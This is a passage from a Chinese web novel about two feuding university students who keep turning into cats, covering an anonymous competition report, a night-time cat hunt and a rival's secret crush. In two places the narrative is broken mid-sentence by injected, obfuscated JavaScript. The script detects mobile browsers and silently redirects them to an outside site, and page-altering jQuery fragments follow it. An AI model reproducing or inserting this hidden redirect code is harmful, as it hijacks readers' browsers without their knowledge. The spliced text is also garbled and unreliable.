两只猫趴在车后座,准备等待遥遥无期穿回自己身体的机会,三花猫无精打采地垂着尾巴,爪子垫着下巴。 但这次穿回本体的时间极为漫长,从前两人只要趴着打一会盹,没过多久便能穿越回自己的身体。 漫长的等待中,三花猫扭头,对着唯一能沟通的对象:“要是这次变不会去怎么办?” 狮子猫没说话。 三花猫两只爪子垫着下巴,碎碎念:“虽然我爸爸妈妈并不介意我变成一只猫,还会跟以前一样,但是变成猫之后好像只能活十几年?” 三花猫闷声喃喃:“到时候我走了,他们得难过死。” 狮子猫偏头,看到三花猫两只耳朵耷拉着,似乎很有些难过的模样。 其实从宁暨的性格就能看出宁暨的家庭——幸福,美满,以至于活了十八年的宁暨性格里还带着点天真和小孩子一样的爱装酷。 狮子猫嗓音平稳:“应该能回去。” 三花猫愣愣地望着它,“你怎么知道?” 狮子猫:“倘若真是为了报复我们两人,它们只会让我们变成猫,用猫的身体生活一段时间,不会让我们真正变成猫。” 三花猫:“真的?” 狮子猫:“嗯,在猫的眼里,人类浑身上下都光秃秃,毛发稀疏,很丑,所以它们不会让自己变成那么丑的人类。” 宁暨又活了过来,想了想,觉得晏隋这话说得很有道理。 它趴在座椅上,尾巴一甩一甩,很容易就高兴起来。 晏隋忽然就开始想,自己从前为什么会觉宁暨像头昂头昂脑的倔驴,拽得跟什么一样。 明明那么容易就高兴。 两只猫在车内熬到了下午五点多,终于熬到回了自己身体,当熟悉的困倦感袭来,两只猫双双趴在车座椅上,没了意识。 晏隋醒来的时候,副驾驶已经没了人,宁暨应该是比他先醒,不愿同他待在一块,早早就下车回了宿舍。 他坐在驾驶座,发了一会呆,不知道在想什么,好一会才解开安全带,弯腰捡起掉落的手机,拉开车门。 晏隋低头,解锁手机,看到屏幕上弹出一大串消息,都在问他今天怎么不见人。 忽然,他脚步顿住,盯着最新的一条短信。 宁暨:先走了 看着这条短信,晏隋不知怎么,心情忽然舒畅了许多,勾起唇角,将手机放进口袋,走向宿舍。 几分钟后,晏隋推开宿舍门,看到几个舍友扭头望着他,神情有些欲言又止。 晏隋看上去心情不错,将手机放在书桌上,打算先去洗个澡。 对床的一个舍友忽然叫住他,显得有些犹豫,“隋哥。” 晏隋偏头,望着他。 舍友颇有些忐忑道:“隋哥,有人匿名举报李光在金融初创赛中滥用职权,你组长的位置来得不正当。” 15.第 15 章 “老张因为金融初创赛的事联系不上你,让我们转告你,明天有时间去一趟办公室。” 宿舍几个人望着晏隋,绞尽脑汁安慰道:“隋哥,这事说不定也只是谣传而已……” 晏隋神情有些微妙,“有人匿名举报?” 几个舍友点点头,纷纷安慰晏隋这事肯定是谣传。 晏隋弯腰,打开电脑,“不是谣传,确实是我抢了宁暨操盘手的位置。” 一众舍友懵然:“啊?” 晏隋坐在椅子,滑动着鼠标,打开文档编辑好的文档,文档内赫然是一封由他亲手操刀,没来得及发送出去的匿名举报信。 谁发结果都差不多。 晏隋神色懒散地将电脑合上,告诉舍友自己没事,拎着换洗的衣服走去卫生间。 几个舍友对视了一眼,撞了撞肩膀,纳闷道:“怎么感觉隋哥被举报了,心情还很不错的样子?” 另个舍友迟疑地摇摇头,“不知道,感觉这段时间他心情都挺不错。” —— “老幺,隔壁那个姓晏的被举报了,听说还是匿名的,这次绝对当不成操盘手。” 宿舍里,李翔兴致勃勃地举着手机递给刚洗完澡的宁暨。 宁暨一面擦着头发,一面看着手机,诧异道:“这傻逼是不是得罪什么人了?” 李翔乐道:“估计是,专挑比赛快开始举报,这回谁来包庇都没用。” “我看跟你说得差不多,姓晏的平时太爱装逼,被看不惯的人举报了。” 书桌上的手机震动了两下,宁暨仰头,靠在电竞椅上,举起手机,发现是两条短信。 傻逼:九点,去小树林抓猫 宁暨皱起眉,一开始有些不乐意,但后面想到如今两人是一同条绳上的蚂蚱,两人一块去抓猫,出了不可抵抗的事还能相互照应照应,勉勉强强地回了个一个OK的手势。 高冷而成熟。 宁暨用毛巾胡乱擦了两下头发,换了个套衣服,抓着手机就往外走,没走几步就被李翔一脸八卦地叫住。 “去哪?又去小树林约会?” 宁暨抓了抓头发:“去找东西,有东西落在外面了。” 李翔捅了捅赵磊的手,扭头道:“你信吗?” 赵磊淡定道:“不太信。” 宁暨拎起赵磊桌上的罐装可乐,一溜烟就跑了,跑之前还叫着:“爱信不信——” 他练田径,没过一会就跑下了楼,看到楼下穿着黑色冲锋衣的晏隋在饮料贩卖机旁等着他,抱着手,手上拎着两罐可乐, 宁暨走到他面前,微微偏头,示意出发。 晏隋直起身,看到他手中的罐装可乐,眉毛微微挑起,没说话。 宁暨刚洗完澡,头发有些乱,低着头,打开可乐,“我可没有举报你啊。” 晏隋:“嗯,我知道不是你。” 宁暨喝了两口可乐,想了想又道:“你是不是太装逼,太炫富,得罪了什么人?” 晏隋从容不迫:“那我总不能装穷吧?” 宁暨:“……6” 两人沿着林荫小道,一路找着三花猫和狮子猫的踪迹,为了不引人瞩目,没拿手电筒,用手机手电筒的灯光照明。 一路都没什么收获,翻开的灌丛只有虫蚁在到处乱爬。 宁暨蹲在地上,拍了拍腿上的蚊子,嘀咕道:“到底能不能找到啊?” 晏隋弯腰,同他一块翻开灌木丛,手电筒的光打在黑黝黝的土地上,“不知道,只能碰运气。” “运气好,说不定能够找见那两只猫,好好研究研究。” 结果宁暨翻了大半天,毫无收获,只碰上了几只流浪猫。 他蹲在地上,将踩着石阶的一只小白猫拎起来,放在地方,拍了拍小白猫的屁股,小白猫,扭头懵懵懂懂地望着他。 宁暨向前指了个方向,示意小白猫往那个方向走。 晏隋也蹲下来,“你认识这只猫?” 宁暨拍死一只蚊子,“前两回变成猫碰见的,是个小聋子,前面两只猫打得天翻地覆,它还非要凑上去看。” 他抓了抓腿,有点受不了地站起来,“不行,我得回去,下回出来得带瓶花露水。” 这地方的蚊子跟八辈子没吸过血一样,将他小腿咬得面目全非。 晏隋:“不找了,那么快就回去?” 宁暨知道自己如今突然回去很像临阵脱逃,但今天出门他穿的裤子是休闲短裤,小腿上全是蚊子包。 他将手电筒照着自己的小腿,解释道:“明天再出来,今天没穿长裤。” 昏暗中,手电筒将修长匀称的小腿照得莹润白皙,羊脂玉班温润,骨肉匀称的小腿上横着几道红色的抓痕,透着点凌虐蹂躏般的旖旎。 晏隋举着手电筒,照了好一会对面人的小腿,才慢慢道:“好。” 半晌后,他又道:“你是疤痕体质?” 宁暨有点奇怪,“什么叫疤痕体质?” 晏隋站起身,“皮肤比较薄,很容易留下痕迹,受伤后康复会留下疤痕。” 宁暨一边将小腿挠出几道红痕,一边说自己不是疤痕体质。 晏隋没说话,只是起身,说明天再来抓猫。 蹲在地上的宁暨愣了愣,“不抓了?” 晏隋:“天太黑,看不清,明天傍晚来抓。” 宁暨想想也是,起身,挥着手赶走蚊子,嘀咕说蚊子瞎了眼,专挑他一个咬,旁边的人一口都没被咬。 晏隋心想细皮嫩肉的,他要是蚊子他肯定也挑宁暨这样的下口。 “要不明天傍晚我让周琦一块来,他对这几只猫熟,知道这些猫活动范围。” 晏隋立即拒绝,快得几乎是不假思索。 宁暨有点奇怪,偏头望着他,“为什么不叫他?” 晏隋也不知道自己为什么会脱口就是拒绝,他想了想,淡声道:“周琦肯定会问我们为什么要抓那两只猫,太冒险了。” 宁暨想了想,“也是。” 两人一边走一边聊,走到五栋楼下的药店时,晏隋让他等等,自己有点东西要买。 宁暨:“……?” 他神色有点古怪,好一会才道:“姓晏的,你不觉得你今天有点奇怪吗?” 晏隋单手插兜,回头,“什么奇怪?” 宁暨友善提醒:“你让我等你买东西,我们是什么很好的朋友的吗?” 晏隋:“……” 宁暨挑眉:“或者你要是跟我说你怕黑,不敢走回去这条路,叫两声哥,我在这里等你,等会一块回去。” 晏隋指了指他脖子上的抓伤,平静道:“你这里,我白天抓的,我现在进去买药。” “还是说你要等明天你自己发现,然后自己去买药替我付这个钱?” 宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409984|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暨下意识摸了摸脖子,有些火辣辣的疼,嘶了一声,拿出手机打开前置摄像头,还真发现了两条抓痕。 “靠,你什么时候抓的?”宁暨呲牙。 “赶紧滚进去买药,你抓的伤,还想让我花钱买药,门都没有!” 晏隋耸了耸肩,推开药店的大门,没一会,宁暨也同他挤了上来,没好气道:“我要挑最贵的药。” 宁暨同药店的店员比划了几下,将脖子上的伤说得极为可怕,将店员吓得神色凝重,让他将伤处给她看看。 宁暨一把拉开自己的衣领,肃穆地给店员看自己脖子上的抓痕。 店员:“……” 晏隋:“别管他,他要挑最贵的。” 宁暨满意地放下衣领,矜持地站在原地。 付完款,宁暨拎着药,心满意足地走出药店门。 还在店内的晏隋抬头,对着店员道:“再要两瓶花露水和清凉油,青草膏也来一盒。” 付款完,晏隋拎着一袋药走出药店门,看到门口的宁暨蹲在台阶上,正拿着手机,对着镜头里的自己涂药膏。 他将新买的一袋药丢给宁暨,“店里搞活动,送的。” 宁暨接过塑料袋,翻了一下,发现这些东西像及时雨一样,抬头问他:“这些你真不要?” 晏隋单手插兜,“不要。” 宁暨站起身,“明天几点?” “下午四点。” 宁暨没多想,应了下来。 “宁暨——” 一道声音传来,宁暨扭头,看到穿着白色T恤的男生背着黑色斜挎包,冲着他笑。 “崔英奕?” 宁暨有点意外,朝不远处的男生挥了挥手。 穿着白色T恤的崔英奕眉眼弯弯,拎着一袋东西,走上前,发现他身旁的晏隋,顿了顿,好一会才道:“好巧啊。” 宁暨挑眉:“你跟他认识?” 崔英奕:“不太熟,之前在同一个社团一块开过会,不过我很早就把那个社团给退了。” 他走上前,对着宁暨道:“一起回宿舍?” 宁暨对崔英奕印象虽然不深,但是比起晏隋,他肯定更乐意同班里的同学一块走,于是点了点头,提着一袋药同崔英奕一块走。 崔英奕提着一袋东西,偏着头,抿着个笑:“我买了点苹果,你要买?” 宁暨:“行啊。” 崔英奕显得有些雀跃:“那等会我拿去你宿舍?” 宁暨说都可以。 崔英奕弯了弯眼睛,又低头从口袋里掏出一支药膏,递给他:“我听说前阵子你还跟那个姓晏的打架了?” 宁暨抓了抓头发,含糊了过去。 两人一路走回宿舍门口,崔英奕让他小心脖子上的伤口,尽量不要碰到水,辛辣的也尽量少吃。 “三食堂二楼的那家羊肉粉这几天最后也不要吃,伤口容易发炎。” 宁暨愣了一下,随后笑起来:“你怎么知道我喜欢吃那家的羊肉粉?” 崔英奕:“之前经常看到你跟你舍友一块去吃。” 他露出个笑,“等我回宿舍挑两个苹果拿给你,顺带有道题想问你。” 十多分钟后,拎着一袋零食和水果的崔英奕看着宿舍长廊上的人,脚步顿了顿。 晏隋偏头望着他,朝他走了两步,声音很淡道:“金融初创赛,匿名举报我的人是你吧?” 16.第 16 章 “不知道你在说什么。” 崔英奕神情一顿,转头,“我没有举报你的理由。” 晏隋靠在宿舍长廊的栏杆上,语气很淡,“你喜欢宁暨。” “……” 提着一袋零食和水果的崔英奕猝然转过头,声音绷得很紧,盯着他,“谁跟你说的?” 晏隋直起身,没说话。 崔英奕看宁暨的眼神不对。 在齐霁的酒吧呆久了,晏隋对这样的眼神很熟悉,哪怕崔英奕藏得很深,在无人处还是透露出些细枝末节。 例如回宿舍的路上,崔英奕没有频繁偏头去看宁暨,但仅有的几次望向宁暨,眼神都很温柔,藏着点小心翼翼的爱慕。 晏隋在两人身后慢慢走着,隔着不长不远的距离,看得很清楚。 拎着一袋零食和水果的崔英奕深吸一口气,“我跟宁暨只是同学。” 晏隋答非所问,“他不会喜欢男的。” 崔英奕狠狠地剐了他一眼,默不作声同他擦肩而过,推开宁暨宿舍门。 宿舍里闹哄哄,游戏和看电视剧的外放音效混在在一块,赵磊举着杠铃健身,宁暨靠在电竞椅上,带着头戴式耳机,刚结束一把游戏。 听到门口进来的动静,他摘下耳机,扭头朝着门口望去,笑起来:“来了啊?” 崔英奕将一袋零食和水果放在宁暨书桌上,眉眼弯弯道:“我那里还有一些零食,放着也是放着,索性一起给你送来。” 宁暨翻着抽屉:“客气,上次也就帮你搬了回书。” 他掏出两个特大号果冻,抛给崔英奕,“我这也没什么零食,下次囤货的时候再拿去给你。” 崔英奕接过果冻,低头摩挲两下果冻,抬头道:“明天老张找我们三个人开会,应该是说金融初创赛的事,宁暨,其实我觉得你比晏隋更适合当操盘手。” “你分比晏隋高,成绩也一直比晏隋好,他没理由当组长。” “如果这次上面的人还包庇他,我就退出比赛。” 宁暨一愣,一旁举着小杠铃的赵磊感叹:“这是铁哥们啊。” 崔英奕没说话,望着宁暨。 宁暨总觉得哪里有些不对劲,但又说不上奇怪的地方,只能抓了抓头发,迟疑道:“没事,也不是什么大事,一个组长而已,没必要连累到你退赛。” 崔英奕摇头,坚持道:“是大事,不能就这样过去。” 宁暨心中稍稍被眼前人坚毅的神情一震,只当是崔英奕嫉恶如仇,极度痛恨不公平存在,不由得对此肃然起敬。 他拍了拍崔英奕的肩膀,郑重道:“好,明天我一定好好跟老张说这件事。” ———— “稀客,怎么这个点了还过来?” 酒吧吧台,齐霁撑着下巴,看见穿着黑色外套的青年将手机丢在吧台面,瞥了他一眼,没说话。 齐霁上下打量了一番,“你不对劲,谁惹你了?” 坐在高脚凳上的晏隋接过调酒师递过来的一杯酒,转头望着舞池里暧昧摇晃的男男女女,仍旧没说话。 哪怕崔英奕没有递出那封举报信,在最后关头他仍旧会将电脑里的那份举报信发送出去、 他连自己都不知道自己为什么会那么烦躁。 过了好一会,晏隋放下酒杯,一个不太想面对的念头冒了出来——他烦躁的原因到底是因为自己的计划被打乱,还是因为举报的对象喜欢宁暨。 吧台上的齐霁冲着朝他抛媚眼的小男生吹了个口哨,转头问晏隋:“最近都没怎么见你来,怎么,找到事做了?” 晏隋不说话,揉了揉额角,“没什么,走了。” 齐霁诧异:“刚来一会就走?” 晏隋嗯了一声,喝了两口酒杯里的特调,心想宁暨长着一张死也不会喜欢男生的脸,崔英奕哪怕再喜欢宁暨,估计也掀不起什么风浪。 齐霁摸了摸下巴:“宁暨最近又找你麻烦了?” 晏隋有些莫名:“?” 齐霁摊了摊手:“你没发觉宁暨找你麻烦的时候,你从来不会来我这吗?” “大一刚开学那会,宁暨认识的人不多,你说他还跟高中一样幼稚,隔三差五爱找你麻烦,那段时间你可一次都没来过酒吧。” “从上学期开始,你就开始隔三差五就来这里,也没跟我说他的事。” 晏隋瞥了他一眼,更加莫名其妙,“你想说什么?” 齐霁哈哈一笑,朝着不远处的小男孩招手,懒洋洋道:“没什么,随便说说而已。” “打个赌,三个月后,你要是再看到男生跟男生亲嘴受不了,以后我就不在你面前撩小男生。” “相反,要是两个月后,你看到男生跟男生亲嘴不反感,把你那辆超跑给我开怎么样?” 晏隋很快应了下来,挑眉道:“赌约怎么算?两个月后你亲自当着我的面试验?” 齐霁靠在吧台上,笑得跟狐狸一样:“用不着那么麻烦,到时候你自然会知道输赢。” ——— 第二天,金融初创赛举报处理结果出来,队伍解散,重新将宁暨定为操盘手,晏隋失去参赛资格,新添一位同学进入初创赛队伍,组成新队伍。 和谐楼办公室,张辅导员拍了拍晏隋的肩,叹了口气:“小晏啊,是李老师连累了你。” 晏隋目光沉静,说没事。 张辅导员:“我刚才跟小宁谈过话了,老师知道你们之前有矛盾,老师不希望你们因为这个举报的事情矛盾更激化,上回还听说你们去小树林打架?” 晏隋:“?……谁说的?” 张辅导员唏嘘道:“小崔啊,他说你们的关系水火不容,说你经常针对宁暨……” 晏隋目光沉了沉,没说话。 张辅导员又拍了拍他的肩:“好了回去吧,小宁也正好在外面,你们看看能不能聊一聊,缓和一下关系。” 晏隋走出办公室,果然在拐角的电梯门前看到宁暨和崔英奕在等电梯。 他走上前,听到崔英奕眉眼弯弯地夸宁暨校园会的跑得快, 宁暨单手插兜,很沉稳地风轻云淡道:“我高中跑得更快,经常拿第一。” 崔英奕:“我体育不太好,一直都想锻炼锻炼。” 宁暨扭头:“那你下次夜跑的时候叫上我,我带你跑,帮你调整一下呼吸,心肺好起来了体能也就上去了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426692|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“叮”地一声,电梯门缓缓打开,宁暨走进电梯,摁下关门键,一旁的两个崔英奕抬头:“好像外面还有人。” 宁暨很淡定:“没事,不用理他,他坐下一趟。” 不管是他还是晏隋,只要两人在同一部电梯门口,都宁愿多等几分钟,也不愿跟对方乘坐同一部电梯。 原以为这次还像往常一样,谁知道在电梯快合上的时候,一只手忽然拦住电梯门。 电梯外的男生微微一笑:“不好意思,赶时间。” 他面色自如地踏进电梯门,站在宁暨的身旁,也没玩手机,就望着电梯按键。 电梯安静了一瞬。 崔英奕:“今天正好不用上课,要去跑步吗?” 宁暨上回拿了人一大兜零食,还都是他爱吃的零食,拿人手短吃人嘴短,自然回答道:“可以……” “不好意思。” 一道声音忽然打断他说的话。 宁暨顿了顿,偏头望着晏隋,皱着眉。 晏隋面色从容:“他傍晚有事,不能去跑步。” 宁暨刚想说他有什么事,结果脑子里还真冒出件事——昨晚刚跟晏隋约好去抓猫。 话到嘴边,他一个急刹车,堪堪停住,“对——我傍晚还有点事,明天吧,明天我带你跑。” 崔英奕看了一眼晏隋,好一会才道:“没事,我晚上都有时间,明天去找你也行。” 和谐楼离宿舍远,宁暨开了电车,回去的时候问崔英奕:“你要跟我一起回去吗?” 崔英奕愣了愣,像是有点不好意思,脸微微发红:“可以吗?” 宁暨拍了拍车后座,示意他上车:“有什么不可以的?我开车挺稳的。” 崔英奕跨坐上车后座,小心翼翼地抓着车后座的金属架子。 宁暨戴上头盔,一拧电门,刷地一下就蹿了出去,吓得车后座的崔英奕往他身后扑了一下,随即立马不住地同他道歉,说对不起。 宁暨一面开车一面迎着风道:“你是不是有洁癖啊?” 崔英奕:“啊?” 宁暨笑了笑:“要不怎么碰到人一直道歉。” 电车很快就到宿舍楼下,下车的时候,宁暨摘下头盔,偏头示意崔英奕上楼,说自己还要去送外卖。 崔英奕望着他,似乎有点担忧,犹豫了一会小声:“你是缺生活费吗?” 宁暨长腿撑着电车,诚实道:“不缺,我拿生活费买球鞋去了。” 耿直又坦诚。 同崔英奕告别,宁暨送了几单外卖,临近傍晚的时候上楼洗了个澡,跟晏隋约好时间去抓猫。 傍晚六点半。 穿着长裤的宁暨蹲在楼下,看到晏隋朝他走来,没跟他说话,而是左右看了看,像是在找什么东西。 半晌后,宁暨听到晏隋问他:“你电车呢?” 宁暨:“?” 晏隋:“学校太大,开电车找猫比较方便。” 宁暨站起身,莫名其妙地望着他:“你的意思是我开电车搭你去抓猫?” 晏隋:“嗯。” 宁暨更加莫名其妙:“我有病吧,我开车搭你,你不能自己去借一辆车吗?”